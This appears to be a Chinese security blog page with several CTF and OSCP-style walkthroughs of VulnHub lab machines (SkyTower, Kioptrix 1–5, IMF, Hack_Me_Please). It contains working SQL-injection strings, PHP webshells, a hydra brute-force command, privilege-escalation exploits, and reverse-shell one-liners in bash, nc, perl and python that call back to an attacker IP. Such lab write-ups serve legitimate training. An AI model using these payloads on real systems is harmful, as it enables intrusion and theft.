首页
工具导航
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
7,853 阅读
2
2025最新渗透测试靶场推荐,新手必练的靶场推荐
5,158 阅读
3
src平台推荐,挖SRC必须知道的25个漏洞提交平台
4,322 阅读
4
几个常见的密码字典推荐
3,392 阅读
5
全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细
3,214 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
服务器
登录
Search
标签搜索
渗透测试
内网渗透
Linux
网络协议
vulnhub
SQL注入
靶场实战
提权
代理隧道
域渗透
信息收集
权限提升
WAF绕过
hackmyvm
AI安全
云安全
权限维持
红队攻击
蓝队防御
云服务
白小羽
累计撰写
188
篇文章
累计收到
0
条评论
首页
导航
工具导航
留言面板
友情链接
搜索到
21
篇与
的结果
2025-05-18
Sudo的上级目录提权,SkyTower
Sudo的上级目录提权,SkyTower主机发现80探测端口扫描目录扫描,没有任何可以利用的信息admin' and 1=1 --+sql注入语法错误,存在sql注入漏洞万能密码没有用(admin' or 1=1 --+),发现对or,and,-- ,=进行了过滤,只剩下了这些号测试,没有过滤那么还有一种写法,就是|| 用这个代替or登录成功得到了ssh的账号密码,john / hereisjohn但是前面我们的22ssh端口是关闭的,该怎么办呢?3128这个端口呢是一个代理的端口,所以我们用如下代理进行连接ssh这里我们要用到一个叫代理跳转,现在我们设置一下代理proxytunnel -a 6666 -p 192.168.111.154:3128 -d 192.168.111.154:22新建一个终端,,连接本地的6666端口,这时候就成功连接了代理的ssh,但是自动断开了ssh john@127.0.0.1 -p 6666这里尝试执行命令,成功,但是会自动断开连接反弹shell试试查看当前登录的配置文件ssh john@127.0.0.1 -p 6666 -t "cat .bashrc"删除最后一行,还是不行哈,还是有这个东西(exit)ssh john@127.0.0.1 -p 6666 -t "sed -i '$d' .bashrc"那么就全部复制到一个文件里面,在kali中把原来的删了,再使用wget下载这时候再登录,就成功了内网信息收集sudo,SUID没有思路了就去网站的根目录,看源码并且进程中还有一个mysqlroot/root,登录mysql三个用户的邮箱和密码都知道了mysql> select * from login; +----+---------------------+--------------+ | id | email | password | +----+---------------------+--------------+ | 1 | john@skytech.com | hereisjohn | | 2 | sara@skytech.com | ihatethisjob | | 3 | william@skytech.com | senseable | +----+---------------------+--------------+我们切换用户sara,Funds have been withdrawn,资金已被撤回william用户鉴权失败登录看看,还是要ssh登录哈和刚刚一模一样从kali中下载这个bash文件登录成功sudo能用那么久利用它的accounts目录,进行提权,查看shadow密码文件,这东西肯定加了盐的,很难破解出来$6$rKYhh57q$AVs1wNVSbE5K.IU1Wp9l7Ndg3iPlB7yczctQD6OL9fBZir2ppGDA6v0Vx17xjg.b3zu6mkAVpEN2BuG3wvS2l/这时候可以直接用sudo查看flag提权成功!往期推荐不用MSF?红日靶场4,从外网到域控,手工干永恒之蓝,教科书级渗透教学防溯源小技巧ATK&CK红日靶场二,Weblogic漏洞利用,域渗透攻略【oscp】vulnerable_docker,三种代理方法打入内网【内网渗透】CobaltStrike与MSF联动互相上线的方式【内网渗透】ICMP隧道技术,ICMP封装穿透防火墙上线MSF/CS【渗透测试】linux隐身登录
2025年05月18日
1,939 阅读
0 评论
0 点赞
2025-05-18
Kioptrix 提权靶机(1-5)全系列教程,Try Harder!
【OSCP】 Kioptrix 提权靶机(1-5)全系列教程,Try Harder!emmm 什么是OSCP?是由OffSec公司提供的一个专业级别的道德黑客认证。它是针对渗透测试的专业认证,旨在验证个人在实际环境中进行渗透测试的能力。与其他理论导向的认证不同,OSCP侧重于实践技能和真实世界情景的模拟。它也叫做国际进攻性安全认证,如果有想要报考OSCP的师傅们欢迎咨询我们安全团队,我们给您打骨折。本次教程靶机如下,都准备好了,直接下载就好,并且解决了官方靶机扫描不到的问题:链接:https://pan.quark.cn/s/475209fc0c05level 1主机发现上一步没有加-sV参数,这里加上之后的信息看看80有什么随便点点啥也没有,有个METGT2.9.5不知道能不能用得上再点点有个php文件,啥用没有不管啥服务都搜一搜利用这个poc,有版本区间了,用用第二个用户名枚举的poc发现是用得python2pip也不存在,看样子用不了了,我们换一个mod_ssl 刚刚使用nmap -sV参数扫出来的版本信息,还有谷歌插件wapplayer信息收集插件,都能看到这个mod_ssl使用第一个exp,这里看到有提示信息按照他的提示信息,我敲,这谁顶得住啊,这提示信息,看不懂,跳过,直接下载,艹复制下载链接,可以发现这个单词变成了download 下载的意思,直接下载刚刚searchsploit 的 exp文件换一个,卧槽这谁顶得住啊官方编译好的都执行不了,等我换个kali。。。。。24小时后。。。。。卧槽还是不行等我仔细看看exp报错信息,他说的是 } 附近语法错误,看不懂代码,用本地exp重新编译,报了这个错误,似乎是要加上这一个参数加上后还是报错,openssl版本问题,这是一个已经弃用的(deprecated)函数,百度了一下,需要使用-Wno-deprecated-declarations参数,就是前面的那个-Wdeprecated变成 -Wno-deprecated所以完整的参数是这样的,这样就能够成功编译了,命令如下gcc -o exp 47080.c -lcrypto -lssl -Wno-deprecated-declarations执行exp,他会告诉你怎么使用,以及每个参数的用法,英文好一点的就可以直接看,不好也没关系,翻译软件2s钟的事儿wapplyer插件,看web服务器版本使用exp会告诉你怎么使用,看着后面的apache,这个时候进行筛选就行了遇到这种good bye的那么就是利用失败,一个一个尝试就好了直到参数如下,成功获取到了shell,并且有一串提示信息貌似是执行过这几条命令,做一次历史命令信息收集,history,但是发现切换到tmp目录下面的时候什么也没有,看样子是没有下载文件尝试下载,但是下载失败了既然不能下载,那么我们使用kali下载,然后再传到靶机上面去利用kali下载文件后,使用python开启http服务可以看到下载成功根据之前的命令提示,按着顺序输入命令,进行编译后,就会断开连接重新连接,他就会自动执行刚刚编译好的exp文件这个时候就提权成功了,为什么会自动执行那个exp?查看源码就可以发现了samba提权这里是一种提权方法,还有另外一种smb提权,OSCP考试是不允许使用MSF的(只有一次机会),我找了很多kali自带的工具,都识别不到smb版本无奈,只能使用MSF了,识别出来了版本为 2.2.1a这里找到一个版本,第二个,因为第一个是MSF版本,我们需要手工利用exp编译,执行提权成功level 2主机探测syn全端口扫描nmap -sS -T5 192.168.111.184 -A使用curl访问80,可以看到是html信息弱口令,sql注入测试失败mysql远程连接,也失败了,提示了目标mysql服务器没有开启远程连接dirb目录扫描出来一个html页面,不知道是干什么的,不过看样子应该是和apache相关的信息文件使用wappalyzer插件,查看一些中间件服务版本和nmap指纹探测一波找找版本exp,目前收集到的信息,不能确认exp,唯一能能确定的就是那个拒绝服务攻击,但是对我们没什么用这里看到一个本地提权,待会应该能用上,先记着编号是 7550759端口信息不够,直接跳过,但是目前也没有什么可以利用的了,再返回登录框看看,再试试sql注入,注意这次的sql注入和我之前的sql注入是有区别的# 之前的 admin' and 1=1 --+ # 现在的(+号前面多了个空格) admin' and 1=1 -- + 万能密码成功其实也算不上是万能密码,我这样也能进去,只要打乱了sql语句就行了进去index.php后查看源码信息,哎呀卧槽,这里还有隐藏的代码,分析表单看样子是要执行一个ping命令,并且传参给pingit.php还是post请求那么就能得到这个接口请求的payload看样子是一个命令执行,但是尝试了如下反弹shell后,都没有反应ip=127.0.0.1 && /bin/bash -i >& /dev/tcp/192.168.111.128/8888 0>&1 nc 192.168.111.128 8888 -e /bin/bash试试whoami,我敲,看样子被耍了,这根本不是命令执行啊再看看源码有一个Administrator,可能也是一个有用的信息这里还有一种方法,就是新加一个页面在浏览器中以 html格式修改,把它原来的源码复制上去加上缺少的单引号回车,这样它的input框就出来了尝试127.0.0.1,这下有回显了,刚刚怎么没有?from.submit is not a fun,这个的大致意思呢就是,表单无效,hackbar模拟提交表单的时候,没有处罚javascript的表单提交的方法,那就是编码类型不对了因此切换表单提交的编码类型需要修改一下,这样就可以正常执行了这里执行命令的时候会发现,我使用一个 | 管道符,不管前面的命令是否执行成功,都只执行后面的那一条语句但是bash反弹shell的时候,是失败的,因为这个&和提交的表单数据冲突了需要修改为 %7C 为 | 的,但是这样很麻烦,换一种方法,直接在源页面写不更好嘛?在原来的页面写命令,这样会给我们的http post数据包自动编码反弹成功信息收集找到个这个根据提示加了-Wno-int-to-pointer-cast参数后,提示了很多的无效的指令(invalid instruction)切换思路,继续信息收集,使用lsb_release -a命令查看系统信息,可以看到是比较老的 centos 版本,存在很多漏洞漏洞检索,centos 4.5kali编译失败传到靶机试试(注意kali开启http服务)提权成功之前我们提到过一个服务的提权编号是7550,这里去尝试尝试查看源码,貌似却少一个文件,但是使用方法就是那样使用的,可以判断当前系统不存在此服务漏洞level 3主机发现,80探测节省时间,nmap放在后台扫描新建终端,dirb也放在后台扫描我们访问80端口wapplalyzer随便点点,这个页面,感觉没发现什么盲测sql注入bolg界面的框框xss字典攻击,失败这个时候nmap和dirb都扫完了,回去看看有一个phpmyadmin,弱口令 root/root弱口令爆破,全都是302跳转简单sql万能密码测试这里把密码清空,万能密码直接进去了并且可以写文件,这个为空就代表可以写文件show global variables like "secure%";网站根目录猜测为 /var/www/html写入文件测试,拒绝访问,没有使用密码切换方式,继续信息收集,刚刚目录扫描出来的一个登录框框检索漏洞,这里有一个命令执行漏洞,要用到MSF,再想想其他办法,考试只有一次机会github查找使用git clone 下来执行这个sh文件根据提示输入参数开启交互式终端信息收集/etc/passwd权限信息检索漏洞kali编译不了,我们传到靶机上试试提权失败又仔细看了看这个是小于号,不是小于等于用第一个试试,还是失败重新筛选一下,searchsploit 2.6.2 不使用2.6.24提权失败查找一下suid文件,看看能不能利用suid提权,好像并不行去home目录下面看看,loneferret用户文件夹下有一个 CompanyPolicy.README 文件,不知道是什么东西,打开看看,有个sudo -iHello new employee, It is company policy here to use our newly installed software for editing, creating and viewing files. Please use the command 'sudo ht'. Failure to do so will result in you immediate termination. DG CEO 大致意思就是 您好新员工 这里的公司政策是使用我们新安装的软件来编辑、创建和查看文件。 请使用命令'sudo ht'。 不这样做将导致您立即终止。 DG 首席执行官我们再回到那个图片加载不出来的页面,想到可能是因为host问题,随便点一个链接,会发现ip跳转到 kioptrix3.com 这个域名,大概率是域名的问题,需要去host添加域名解析的 ipC:WindowsSystem32driversetchost这个时候再访问这个域名,页面就正常了再来测一测sql注入点这个试试选择id又有注入点了sql注入测试,sql语法错误,存在sql注入判断列数6列正常回显http://kioptrix3.com/gallery/gallery.php?id=1 order by 6-- +&sort=photoid#photos暴表http://kioptrix3.com/gallery/gallery.php?id=1 union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()--+&sort=photoid#photos暴列http://kioptrix3.com/gallery/gallery.php?id=1 union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_name='gallarific_users'--+&sort=photoid#photos暴数据,得到账号密码,admin::n0t7t1k4http://kioptrix3.com/gallery/gallery.php?id=1 union select 1,group_concat(username,'::',password),3,4,5,6 from gallarific_users --+&sort=photoid#photos登录看看,密码错误切换这个用户试试,也不行同理,查,dev_accounts这张表http://kioptrix3.com/gallery/gallery.php?id=1 union select 1,group_concat(username,'::',password),3,4,5,6 from dev_accounts --+&sort=photoid#photos这样我们就看到了账号密码了,识别hashhash碰撞失败换一换其他工具转在线工具https://www.cmd5.com/default.aspx密码为starwars,登录成功sudo -l添加环境变量export TERM=xterm按 F3 或者 ALT+W 然后 方向键← ← ↓ 回车框中 输入/etc/sudoers保存退出sudo /bin/sh id提权成功第二种方法,就是用4089.c进行提权,第一个40616行不通,测试40839.c可行level 4主机发现curl判断80开启nmap扫描后,立马开始目录扫描弱口令,sql注入,admin/admin,123' and 1=1 --+这里有一个铭感文件泄露密码爆破myusernamemypasswordcookie伪造,也不行用nmap的 --script=vuln 参数试试,找找漏洞信息CVE-2007-6750拒绝服务攻击再回去看看目录,有一个database.sql文件,看样子是信息泄露了,看到了一条数据,但是还是登录失败没有思路了,再重头来一遍,在登录的地方密码处,存在一个sql注入漏洞,123' and 1=1 --+没有回显啊,不可能手工盲注啊,无奈了只能用sqlmapsqlmap -r post.txt --dump --batch --level 3登录进去后没有任何东西,就一个退出登录试试ssh登录# 注意这里要加一个参数,不然会登录失败,应该是目标靶机ssh版本低所导致的 ssh -o HostKeyAlgorithms=+ssh-rsa john@192.168.111.186两个账号都登录成功了一开始就有一个提示了,让我们使用help命令,似乎是只能使用这些命令来进行接下来的操作shell逃逸可以看到root用户启动了一个mysql进程suid文件查看,貌似没有可以利用的提权命令,sudo这些用户都不能用已知站点是php站点,查找一下php的文件,看看有没有可以利用的地方,比如mysql配置文件查找登录界面的信息,看到了mysql的账号密码(没有密码)登录mysql的提权方式有一个叫做udf提权,我们去看看udf表利用 sys_exec()函数将john用户添加到管理员组。sudo su (用于切换到超级用户"root"的shell)输入账号密码,提权成功level 5 Kioptrix2014同时进行,nmap主机探测立马nmap指纹识别,后curl 80探测,第三个终端目录扫描首页查看响应的源码访问,不知道是什么东西,应该是目录枚举了,和我们获取权限没有什么关系直接搜,刚好版本是一模一样的这里有漏洞的利用方式访问到文件信息了,任意文件查看看看其他信息,操作系统为FreeBSD编译后的exp提示,是没有apache 2.2.x版本的,所以第一关里面的方法利用不了了看其他信息,有一个8080端口403拒绝访问去看看apache配置文件(一般都在/usr/local/etc/apache2x/httpd.conf),利用刚刚的文件枚举漏洞,查看正常访问了,有一个phptax页面又是一个新页面随便点一点试试关键检索,有一个代码执行漏洞查看24665.txt访问后,应该是没有nc,执行不了命令/bin/bash -i >& /dev/tcp/192.168.111.128/8888 0>&1 nc 192.168.111.128 8888 -e /bin/bash写入一句话马试试http://192.168.111.149:8080/phptax/drawimage.php?pfilez=1040pg1.pdf;echo "<?php system($_GET['cmd']); ?>" > shell1.php;&pdf=make# 反弹不了命令,就多试几个,总有一个能用 perl -e 'use Socket;$i="192.168.111.128";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};' perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.111.128:8888");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'这里使用的是 perl sh反弹成功了目标靶机上没有python,创建不了交互式终端,但是并不影响我们提权查内核信息查SUID文件,基本的sudo都没有,去检索内核根据内核信息有俩个权限提升漏洞这里看靶机是没有wget和curl的,但是有nc小知识,nc也是可以传文件的(测试过很多遍,没传成功),还有个技巧就是利用ftp# 攻击机开启ftp python3 -m pyftpdlib # 靶机连接 ftp ftp://192.168.111.128:2121/file搞了半天,kali新版的python的开不了,人麻了,传到本机来开成功传上去了exp传上去后gcc -o exp exploit.c ./exp即可提权成功,我这里环境出问题了,显示不了了怎么创建交互式终端都不行,害命令小姐# 创建交互式终端的几种方式 echo os.system("/bin/bash") python -c "import pty; pty.spawn('/bin/bash')" /bin/sh -i gcc -o exp xxx.c # c文件编译,-o表示的是输出的文件名称 python -m http.server # 开启小型的http服务 python3 -m ptyftpdlib # 开启小型的ftp服务器 ftp ftp://ip:port/file #使用ftp接收文件 # 常用的反弹shell /bin/bash -i >& /dev/tcp/192.168.111.128/8888 0>&1 nc 192.168.111.128 8888 -e /bin/bash # 注意这里要加一个参数,不然会登录失败,应该是目标靶机ssh版本低所导致的 ssh -o HostKeyAlgorithms=+ssh-rsa john@192.168.111.186 usermod -a -G admin john # 将john用户添加到admin组 # mysql提权(udf提权)用到的表(查) select * from mysql.func; select sys_exec('commend'); uname -a # 查看系统的全部信息哪些好的资料可以分享?我在学习和备考的时候参考的一些不错的资源,汇总如下:注册指南:《OSCP认证教程第一集:注册教程》https://www.freebuf.com/column/194605.htmlLinux提权指南:https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/Windows提权辅助脚本:https://github.com/pentestmonkey/windows-privesc-check模拟练习平台(跟Lab环境类似):vulnhub https://www.vulnhub.com/ hackthebox https://www.hackthebox.eu/badchars工具:https://github.com/mgeeky/expdevBadChars往期推荐不用MSF?红日靶场4,从外网到域控,手工干永恒之蓝,教科书级渗透教学防溯源小技巧ATK&CK红日靶场二,Weblogic漏洞利用,域渗透攻略【OSCP】vulnerable_docker,三种代理方法打入内网【内网渗透】CobaltStrike与MSF联动互相上线的方式【内网渗透】ICMP隧道技术,ICMP封装穿透防火墙上线MSF/CS【渗透测试】Linux隐身登录
2025年05月18日
1,017 阅读
0 评论
0 点赞
2025-05-18
IMF缓冲区提权渗透
IMF缓冲区提权渗透靶机地址:https://www.vulnhub.com/entry/imf-1,162/靶机难度:中级(CTF)服务端口扫描访问80端口端口服务探测,能下手的只有80端口这儿只找到一个关于,联系我们只有一个80端口,本次靶机考核的应该就不是xss,可以直接跳过下面似乎有三个用户查看源码,这儿有一个flag1{YWxsdGhlZmlsZXM=}解码看看得到明文:allthefiles网页上也没有其他东西了,用dirsearch进行目录扫描试试表面上没有任何信息了,但又肯定存在其他信息,只能对源码进行审计Place favicon.ico and apple-touch-icon.avif in the root directory将favicon.ico和appletouch -icon.avif放在根目录下直到看到这些编码信息将前面两个两个拼凑在一起ZmxhZzJ7YVcxbVlXUnRhVzVwYzNS后面的那个就普通解码,得到后半部分flag合起来就是,这里还是一个flagflag2{aW1mYWRtaW5pc3RyYXRvcg==}继续解码,imfadministrator,这个结果可能是密码信息,但是网页上并没有登录的功能,22端口也没有开启那么就是目录了这里不清楚用户名的话,还记得刚刚页面上的信息嘛,第一个是导演,第二个是副主任,第三个是参谋长先目录扫描一下,看看能不能越权不行sql注入,万能密码现在唯一没有利用上的就是第一个flag明文,可能是密码吧,allthefiles,但是也没有效果,继续查看源码I couldn't get the SQL working, so I hard-coded the password. It's still mad secure through. - Roger我无法使SQL工作,所以我硬编码了密码。还是很安全的。——罗杰这不是又是一个用户名,用户名不存在(无效的用户名),这又是一个漏洞点试试刚刚的用户(导演 rmichaels,副主任 akeith,参谋长 estone),导演为密码错误副主任 akeith 无效的用户名参谋长 estone ,不存在看样子只有导演能登陆了,用burp爆破社区版很慢,考试只能用社区版,还有啥办法嘞,可以试试 hydra ,之前都是爆破一些协议,没有对http请求的内容进行爆破,这个还真没试过,我是菜鸡分析页面信息 页面登录错误的信息为Invalid登录失败的表单数据那么就能得到hydra的参数详解hydra -l rmichaels -P /usr/share/wordlists/fasttrack.txt -t 4 -vV 192.168.209.132 http-post-form "/imfadministrator/index.php:user=^USER^&pass=^PASS^:Invalid"都失败了hydra:调用 Hydra 工具。-l rmichaels:指定单个用户名为 rmichaels。这意味着 Hydra 将使用 rmichaels 作为用户名进行所有尝试。-P /usr/share/wordlists/fasttrack.txt:指定密码字典文件为 /usr/share/wordlists/fasttrack.txt。Hydra 将从这个文件中读取密码,逐个尝试。-t 4:设置同时运行的线程数为 4。这可以提高破解效率,但同时也会增加对目标服务器的负载。-vV:显示详细的过程信息。这有助于了解 Hydra 的运行状态和尝试的用户名/密码组合。192.168.209.132:目标服务器的 IP 地址。http-post-form:指定服务类型为 HTTP POST 表单。"/imfadministrator/index.php:user=^USER^&pass=^PASS^:Invalid":指定表单路径、参数和错误消息。/imfadministrator/index.php:表单的路径。这是目标服务器上处理登录请求的 PHP 文件的路径。user=^USER^&pass=^PASS^:表单的参数。^USER^ 和 ^PASS^ 是占位符,分别表示用户名和密码。Hydra 会将这些占位符替换为实际的用户名和密码进行尝试。Invalid:错误消息。当表单返回该消息时,表示登录失败。Hydra 会根据这个错误消息来判断当前尝试的用户名和密码是否有效。使用强加密的话,可以利用php的特性,进行绕过得到了flag3flag3{Y29udGludWVUT2Ntcw==}解密后的明文:continueTOcms进入到home试试文件包含file协议data协议php://filter伪协议sql注入测试,得到sql语法错误的结果,这里没有回显数据(暂定为盲注)继续添加参数,普通的盲注是行不通的,这里要在后面再添加一个单引号我们换一个页面试试,看看能不能找到其他回显数据,进一步判断是否可以使用其他类型的注入(找其他信息,尽量不要盲注,因为在oscp考试中,禁止使用商业化工具比如sqlmap),用order by行不通看样子是利用这个pagename,回显html数据的,这里发现一个union联合查询注入当前数据库http://192.168.209.132/imfadministrator/cms.php?pagename=11111' union select concat(database())'# # admin接下来有一个很离谱的事儿,就是利用group_concat(111)能正常回显是吧,并且后面的sql语句没有报错但是我一换成table_name就完蛋啦,无奈自能用sqlmap了sqlmap脚本如下sqlmap -u 'http://192.168.209.132/imfadministrator/cms.php?pagename=disavowlist' -p 'pagename' --dbms 'mysql' --level 3 --cookie 'PHPSESSID=rcvl9o0565ni5ub2ki19i1vcu3' --dump可以看到这里是存在联合注入的访问一下,错误。。。。不管了看数据这里有一个二维码,扫扫看得到flag4,flag4{dXBsb2Fkcjk0Mi5waHA=}解码为一个php文件有一个文件上传burp抓包burp爆破文件后缀,普通的一句话木马不行,那么就需要进行绕过webshell的绕过工具weevelyweevely generate <password> <path>把木马放到windows上进行上传,尝试各种的上传方法,只有图片格式的可以上传,还需要添加文件头欺骗但是我们并不知道文件的名称,有一个uploads文件夹,刚刚dirsearch扫出来的,查看上传成功的源码,dab037ffb2eb这里访问图片只有图片马,还需要一个文件包含的漏洞才可以getshell(找个半天没有。。。),但是gif不一样了写入一句话木马echo 'GIF89a <?php $cmd=$_GET['cmd']; echo `$cmd`; ?>' > cmd.gif上传http://192.168.209.132/imfadministrator/uploads/dfd5fb101707.gif?cmd=idls 查看当前目录,发现flag5,flag5_abc123def.txtcat flag5_abc123def.txthttp://192.168.209.132/imfadministrator/uploads/dfd5fb101707.gif?cmd=cat%20flag5_abc123def.txtflag5{YWdlbnRzZXJ2aWNlcw==} # 解码 agentservices利用python3反弹shellexport RHOST="192.168.209.130";export RPORT=6666;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'系统信息收集,ubuntu 16.04 版本但是这些exp都不行,这里提权有两种方法,一个是CVE-2021-4034,一个是缓冲区溢出exp提权,kaligit clone https://github.com/arthepsy/CVE-2021-4034.git靶机wget 192.168.209.130:5000/CVE-2021-4034-poc.c gcc -o exp CVE-2021-4034-poc.c ./exp第二种方法缓冲区溢出提权,看看参考文章吧,这里我的“敲门”服务开启端口失败了,可能是因为我用了提权脚本的问题。附两篇写的比较好的文章参考(都是缓冲区溢出的):https://www.freebuf.com/articles/system/329028.htmlhttps://blog.csdn.net/ericalezl/article/details/131797477往期推荐往期推荐不用MSF?红日靶场4,从外网到域控,手工干永恒之蓝,教科书级渗透教学防溯源小技巧ATK&CK红日靶场二,Weblogic漏洞利用,域渗透攻略【oscp】vulnerable_docker,三种代理方法打入内网【内网渗透】CobaltStrike与MSF联动互相上线的方式【内网渗透】ICMP隧道技术,ICMP封装穿透防火墙上线MSF/CS【渗透测试】linux隐身登录
2025年05月18日
1,343 阅读
0 评论
0 点赞
2025-05-18
Hack_Me_Please,js信息泄露,二级目录遍历
【oscp】Hack_Me_Please,js信息泄露,二级目录遍历靶机地址:https://www.vulnhub.com/entry/hack-me-please-1,731/外网打点主机发现&端口扫描80端口这是一个静态页面mysql测试是否可以远程连接(可)Tips :ERROR 2026 (HY000): TLS/SSL error: self-signed certificate in certificate chAIn,这个错误表示客户端与服务器之间建立安全连接时出现的SSL/TLS 证书验证错误解决办法通常有两种方法: 添加参数 --skip-ssl 添加参数 --ssl-mode=DISABLED 目录扫描看到一个html,不是php写的,进行目录爆破的时候就需要用到wfuzz或者gobuster既然是静态页面,那么我们直接打开控制台,这里注释信息有一个 /seeddms51x/seeddms-5.1.22///确保这个js文件与我们服务器端点上安装的应用相同:/seeddms51x/seeddms-5.1.22/访问这个应用http://10.10.10.201/seeddms51x/seeddms-5.1.22/经过一些列折腾后' or 1=1 --+ ' or 1=1 -- + ' or 1=1# " or 1=1 --+ " or 1=1 -- + " || 1=1 -- + " || 1=1 --+ " || 1=1 #继续信息收集,发现可以对这个上级目录进行扫描gobuster dir -u http://10.10.10.201/seeddms51x -w /data/SecLists_Dict/Discovery/Web-Content/directory-list-1.0.txt -x html,txt,php,js开放了,三个目录/conf /www /pear/conf/settings.xml丢给AI总结(注意oscp考试绝对不允许使用AI)有了数据库密码,那么就远程登录┌──(root㉿kali)-[/data/demo] └─# mysql -u seeddms -h 10.10.10.201 --skip-ssl -p Enter password: Welcome to the MariaDB monitor. Commands end with ; or g. Your MySQL connection id is 72 Server version: 8.0.25-0ubuntu0.20.04.1 (Ubuntu) Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Support MariaDB developers by giving a star at https://github.com/MariaDB/server Type 'help;' or 'h' for help. Type 'c' to clear the current input statement. MySQL [(none)]> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | mysql | | performance_schema | | seeddms | | sys | +--------------------+ 5 rows in set (0.006 sec) MySQL [(none)]> use seeddms Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed MySQL [seeddms]> show tables; +------------------------------+ | Tables_in_seeddms | +------------------------------+ | tblACLs | | tblAttributeDefinitions | | tblCategory | | tblDocumentApproveLog | ------------------------------------------- | tblWorkflowTransitions | | tblWorkflows | | users | +------------------------------+ 43 rows in set (0.002 sec) MySQL [seeddms]> select * from users; +-------------+---------------------+--------------------+-----------------+ | Employee_id | Employee_first_name | Employee_last_name | Employee_passwd | +-------------+---------------------+--------------------+-----------------+ | 1 | saket | saurav | Saket@#$1337 | +-------------+---------------------+--------------------+-----------------+ 1 row in set (0.002 sec)发现Saket@#$1337登录不成功 MySQL [seeddms]> select * from tblUsers; +----+-------+----------------------------------+---------------+--------------------+----------+-------+---------+------+--------+---------------------+---------------+----------+-------+------------+ | id | login | pwd | fullName | emAIl | language | theme | comment | role | hidden | pwdExpiration | loginfAIlures | disabled | quota | homefolder | +----+-------+----------------------------------+---------------+--------------------+----------+-------+---------+------+--------+---------------------+---------------+----------+-------+------------+ | 1 | admin | f9ef2c539bad8a6d2f3432b6d49ab51a | Administrator | address@server.com | en_GB | | | 1 | 0 | 2021-07-13 00:12:25 | 0 | 0 | 0 | NULL | | 2 | guest | NULL | Guest User | NULL | | | | 2 | 0 | NULL | 0 | 0 | 0 | NULL | +----+-------+----------------------------------+---------------+--------------------+----------+-------+---------+------+--------+---------------------+---------------+----------+-------+------------+ 2 rows in set (0.001 sec)解密失败,那还有一种方法就是修改数据了修改密码为123456 md5加密后e10adc3949ba59abbe56e057f20f883eupdate tblUsers set pwd='e10adc3949ba59abbe56e057f20f883e' where login='admin';修改后就能登录了在mysql中还有一个信息是必须要收集的(这个配置不当能够直接getshell)MySQL [seeddms]> SHOW VARIABLES LIKE 'secure_file_priv'; +------------------+-----------------------+ | Variable_name | Value | +------------------+-----------------------+ | secure_file_priv | /var/lib/mysql-files/ | +------------------+-----------------------+ 1 row in set (0.019 sec)继续登录的后台,点击添加文档,发现能上传文件我们使用weevely生成一个php静态木马(它具有跨平台、隐蔽性好[增加免杀率]、支持多种功能等特点)weevely generate cmd shell.php把他上传上去那么这个shell路径怎么获取呢,这里可以检索一下历史漏洞,这里有一个命令执行查看一下需要获取文档ID example.com/data/1048576/"document_id"/1.php?cmd=cat+/etc/passwd完整payload如下http://10.10.10.201/seeddms51x/data/1048576/10/1.php内网渗透使用weevely连接webshellweevely terminal http://10.10.10.201/seeddms51x/data/1048576/10/1.php cmd反弹shellrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.10.128 1234 >/tmp/f创建交互式终端python2 -c 'import pty; pty.spawn("/bin/bash")';内网信息收集的时候,看到一个logrotate计划任务www-data@ubuntu:/var/www/html/seeddms51x/data/1048576/10$ ls -al /etc/cron* ls -al /etc/cron* -rw-r--r-- 1 root root 1042 Feb 13 2020 /etc/crontab /etc/cron.d: total 36 drwxr-xr-x 2 root root 4096 Jul 2 2021 . drwxr-xr-x 133 root root 12288 Jul 3 2021 .. -rw-r--r-- 1 root root 102 Feb 13 2020 .placeholder -rw-r--r-- 1 root root 285 Jul 16 2019 anacron -rw-r--r-- 1 root root 201 Feb 13 2020 e2scrub_all -rw-r--r-- 1 root root 712 Jun 20 2021 php -rw-r--r-- 1 root root 191 Jul 2 2021 popularity-contest /etc/cron.dAIly: total 68 drwxr-xr-x 2 root root 4096 Jul 2 2021 . drwxr-xr-x 133 root root 12288 Jul 3 2021 .. -rw-r--r-- 1 root root 102 Feb 13 2020 .placeholder -rwxr-xr-x 1 root root 311 Jul 16 2019 0anacron -rwxr-xr-x 1 root root 539 Apr 13 2020 apache2 -rwxr-xr-x 1 root root 376 Dec 4 2019 apport -rwxr-xr-x 1 root root 1478 Apr 9 2020 apt-compat -rwxr-xr-x 1 root root 355 Dec 29 2017 bsdmAInutils -rwxr-xr-x 1 root root 384 Nov 19 2019 cracklib-runtime -rwxr-xr-x 1 root root 1187 Sep 5 2019 dpkg -rwxr-xr-x 1 root root 377 Jan 21 2019 logrotate -rwxr-xr-x 1 root root 1123 Feb 25 2020 man-db -rwxr-xr-x 1 root root 4574 Jul 18 2019 popularity-contest -rwxr-xr-x 1 root root 214 Dec 7 2020 update-notifier-common www-data@ubuntu:/var/www/html/seeddms51x/data/1048576/10$ logrotate --version logrotate --version logrotate 3.14.0 Default mAIl command: /usr/bin/mAIl Default compress command: /bin/gzip Default uncompress command: /bin/gunzip Default compress extension: .gz Default state file path: /var/lib/logrotate/status ACL support: yes SELinux support: yes很遗憾,这个利用不了,版本太新(高)了然后我想到了刚进来的那个网页moonlight,这里有一个权限提升POC为c#计算机语言,大概率不适用于Linux想想看哪里还没有利用这是之前mysql中的用户表,存在一个用户Saket@#$1337我们查看/etc/passwd,是存在这个用户的www-data@ubuntu:/var/www/html/seeddms51x/seeddms-5.1.22$ su saket su saket Password: Saket@#$1337 To run a command as administrator (user "root"), use "sudo <command>". See "man sudo_root" for detAIls. saket@ubuntu:/var/www/html/seeddms51x/seeddms-5.1.22$ 